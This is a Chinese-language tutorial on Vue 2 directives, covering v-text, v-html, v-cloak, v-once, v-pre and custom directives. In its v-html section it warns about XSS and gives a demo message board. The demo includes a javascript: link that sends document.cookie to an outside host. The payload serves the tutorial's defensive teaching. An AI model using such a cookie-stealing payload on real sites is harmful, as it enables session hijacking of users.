Vue:其他指令
Vue:其他指令
2.13.1、v-text
v-text
指令用于将数据填充到标签体当中,并且是以覆盖的形式填充。与原生JS中的 innerText
功能类似,填充的内容中即使存在HTML标签也只是会当做一个普通的字符串处理,不会解析。例如:
<div id="app">
<p v-text="message"></p>
</div>
<script>
const vm = new Vue({
el: "#app",
data: {
message: "<strong>这是一段包含HTML标签的文本</strong>"
}
});
</script>
在上述代码中,页面显示的将是 <strong>这是一段包含HTML标签的文本</strong>
,而不会将 <strong>
标签解析为加粗样式。
2.13.2、v-html
v-html
同样将内容填充到标签体当中,且是以覆盖的形式。与 v-text
不同的是,它会将填充的内容当做HTML代码解析,功能等同于原生JS中的 innerHTML
。但需特别注意,v-html
不要用在用户提交的内容上,因为可能会导致XSS攻击。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序,这些恶意网页程序通常是JavaScript。
例如:用户在留言中恶意植入以下信息:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Document</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<!-- 需求:简易版的留言板,并将留言进行展示-->
<div id="app">
<h1>{{msg}},test</h1>
<ul>
<li>
<a href='javascript:location.href="http://www.baidu.com/?cookie?"+document.cookie'>点我给你看点好玩的</a>
</li>
<li v-for="(item,index) of myList" v-html="item" :key="index"></li>
</ul>
<textarea cols="30" rows="10" v-model.lazy="list"></textarea>
<button @click="send">提交</button>
</div>
<script>
const vm = new Vue({
data() {
return {
msg: "模拟xss攻击",
myList: [],
list: ""
};
},
methods: {
send() {
this.myList.push(this.list);
}
}
}).$mount("#app");
</script>
</body>
</html>
若使用 v-html
直接展示用户提交的内容,恶意代码可能会被执行,从而窃取用户信息或进行其他恶意操作。为了避免XSS攻击,可以对用户输入进行严格的过滤和转义,只允许特定格式和安全的内容显示。
2.13.3 v-cloak
v-cloak
用于配置css样式来解决胡子(插值语法双大括号 {{}}
)的闪现问题。该指令使用在标签当中,当Vue实例接管之后会删除这个指令。
以下是一段CSS样式,可使当前页面中所有带有 v-cloak
属性的标签都隐藏起来:
[v-cloak] {
display : none;
}
v-cloak
指令的基本原理是:在Vue实例完全接管DOM并完成编译之前,隐藏带有该指令的元素。当Vue实例初始化完成并开始编译模板时,会自动移除 v-cloak
指令。通过这种方式,我们可以避免在页面加载初期出现未编译的插值语法(双大括号 {{}}
)短暂显示的问题,即 “胡子的闪现问题”。
在前端开发中,“胡子的闪现问题” 通常是指在使用Vue等框架时,未编译的插值语法(双大括号 {{}}
)在页面加载初期短暂显示的现象,就好像页面上出现了 “胡子” 一闪而过。常见场景包括网络延迟场景和组件加载场景等。解决方法除了使用 v-cloak
指令外,还可以使用JavaScript表达式替代插值语法,或者优化加载顺序和性能。
示例代码如下:
<head>
<meta charset="UTF-8" />
<title>Vue的其它指令</title>
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
</div>
<script>
// 晚3s引入vue.js
setTimeout(() => {
let scriptElt = document.createElement("script");
scriptElt.src = "./js/vue.js";
document.head.append(scriptElt);
}, 3000);
// 晚4s创建vm实例
setTimeout(() => {
const vm = new Vue({
el: "#app",
data: {
msg: "Vue的其它指令"
}
});
}, 4000);
</script>
</body>
在上述代码中,由于引入Vue.js和创建Vue实例有延迟,若不使用 v-cloak
,页面加载初期会短暂显示 {{msg}}
,使用后则不会出现该情况。
2.13.4 v-once
初次接触指令的时候已经学过 v-once
。该指令用于只渲染一次,之后该元素及其子元素将被视为静态内容,不再随数据变化而更新。例如:
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
<!-- v-once 只执行一次,视为静态页面-->
<h2 v-once>{{num}}</h2>
<button @click="num++">点我+1</button><br>
</div>
<script>
const vm = new Vue({
el: "#app",
data: {
msg: "Vue的其它指令",
num: 0
}
});
</script>
</body>
点击按钮时,num
值会增加,但 v-once
修饰的 h2
标签内的 num
值不会更新,始终保持初始渲染的值。
2.13.5 v-pre
使用 v-pre
指令可以提高编译速度。带有该指令的标签将不会被编译。适用于没有Vue语法规则的标签中,以提高效率。但不要将它用在带有指令语法以及插值语法的标签中。例如:
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
<!-- v-pre 不参与vue编译,提高效率 -->
<h1 v-pre>欢迎学习Vue框架!</h1>
<!-- v-once 只执行一次,视为静态页面-->
<h2 v-once>{{num}}</h2>
<button @click="num++">点我+1</button><br>
</div>
<script>
const vm = new Vue({
el: "#app",
data: {
msg: "Vue的其它指令",
num: 0
}
});
</script>
</body>
上述代码中,v-pre
修饰的 h1
标签内容不会被Vue编译,直接原样显示,从而节省了编译时间。
2.13.6、自定义指令
2.13.6.1 局部自定义指令
- 函数式
<body>
<div id="app">
<h1>自定义指令</h1>
<!-- 需求1:自定义v-text-danger指令,将msg文字变红放入到div中 -->
<div v-text="msg"></div>
<div v-text-danger="msg"></div>
</div>
<script>
const vm = new Vue({
el: "#app",
data: {
msg: "自定义指令",
username: "jackson"
},
// 配置自定义指定
directives: {
// 可以定义多个指令,‘,’隔开
// 关于指令的名字:
// 1. v- 不需要写。
// 2. Vue官方建议指令的名字要全部小写。如果是多个单词的话,请使用 - 进行衔接。
// 回调函数执行时机:第一个:标签和指令第一次绑定的时候。第二个:模板被重新解析的时候。
// 回调函数两个参数:第一个参数是真实的dom元素。 第二个参数是标签与指令之间绑定关系的对象。
//需求1 写法一、函数式
'text-danger' : function(element, binding){
console.log('@');
element.innerText = binding.value;
element.style.color = 'red';
},
//需求2:
// 自定义一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色。
'bind-blue' : function(element, binding){
element.value = binding.value;
console.log(element);
// 为什么是null,原因是这个函数在执行的时候,指令和元素完成了绑定,
//但是只是在内存当中完成了绑定,元素还没有被插入到页面当中。
//不在页面中,就不会有他的父元素
console.log(element.parentNode);
element.parentNode.style.backgroundColor = 'blue';
}
}
});
</script>
</body>
在函数式自定义指令中,text-danger
指令实现了将绑定的值以红色文本显示在指定元素内。而 bind-blue
指令尝试实现类似 v-bind
的功能并设置父元素背景色为蓝色,但由于执行时元素可能尚未插入页面,获取父元素会返回 null
。
- 对象式
<body>
<div id="app">
<!-- 需求2:
自定义一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色。
-->
v-bind:用户名:<input type="text" v-bind:value="username" />
v-bind-blue:用户名:<input type="text" v-bind-blue="username" /></div>
</div>
<script>
const vm = new Vue({
el: "#app",
data: {
msg: "自定义指令",
username: "jackson"
},
// 配置自定义指定
directives: {
// 写法二 、对象式
'bind-blue' : {
// 这个对象中三个方法的名字不能随便写。这三个函数将来都会被自动调用。
// 注意:在特定的时间节点调用特定的函数,这种被调用的函数称为钩子函数。
// 元素与指令初次绑定的时候,自动调用bind (初次绑定时执行)
bind(element, binding){
element.value = binding.value;
},
// 元素被插入到页面之后,这个函数自动被调用。(插入页面时执行,多的一个执行时机inserted)
inserted(element, binding){
element.parentNode.style.backgroundColor = 'blue';
},
// 当模板重新解析的时候,这个函数会被自动调用。 (重新解析时执行)
update(element, binding){
element.value = binding.value;
}
}
},
});
</script>
</body>
对象式自定义指令 bind-blue
通过 bind
、inserted
和 update
三个钩子函数,分别在指令与元素初次绑定、元素插入页面以及模板重新解析时执行相应操作,成功实现了类似 v-bind
的功能并设置父元素背景色。
2.13.6.2 全局自定义指令
<body>
<div id="app">
<h1>自定义指令</h1>
<div v-text="msg"></div>
<div v-text-danger="msg"></div>
v-bind:用户名:<input type="text" v-bind:value="username" /><br>
<div>v-bind-blue:用户名:<input type="text" v-bind-blue="username" /></div></div>
</div>
<hr>
<div id="app2">
<div v-text-danger="msg"></div>
<div>用户名:<input type="text" v-bind-blue="username" /></div>
</div>
<script>
// 定义全局的指令
// 函数式
Vue.directive("text-danger", function (element, binding) {
//对于自定义指令来说,函数体当中的this是window,而不是vue实例。
console.log(this);
element.innerText = binding.value;
element.style.color = "red";
});
// 对象式
Vue.directive("bind-blue", {
bind(element, binding) {
element.value = binding.value;
console.log(this);
},
inserted(element, binding) {
element.parentNode.style.backgroundColor = "skyblue";
console.log(this);
},
update(element, binding) {
element.value = binding.value;
console.log(this);
}
});
const vm2 = new Vue({
el: "#app2",
data: {
msg: "欢迎学习Vue框架!",
username: "lucy"
}
});
const vm= new Vue({
el: "#app",
data: {
msg: "欢迎学习Vue框架!",
username: "jack"
}
});
</script>
</body>
全局自定义指令通过 Vue.directive
方法定义,在整个Vue应用中都可使用。如上述代码定义的 text-danger
和 bind-blue
指令,在 app
和 app2
两个Vue实例中都能生效,分别实现了将文本变红和类似 v-bind
并设置父元素背景色的功能。同时,在自定义指令函数体中,this
指向 window
,而非Vue实例,这一点在开发中需特别注意。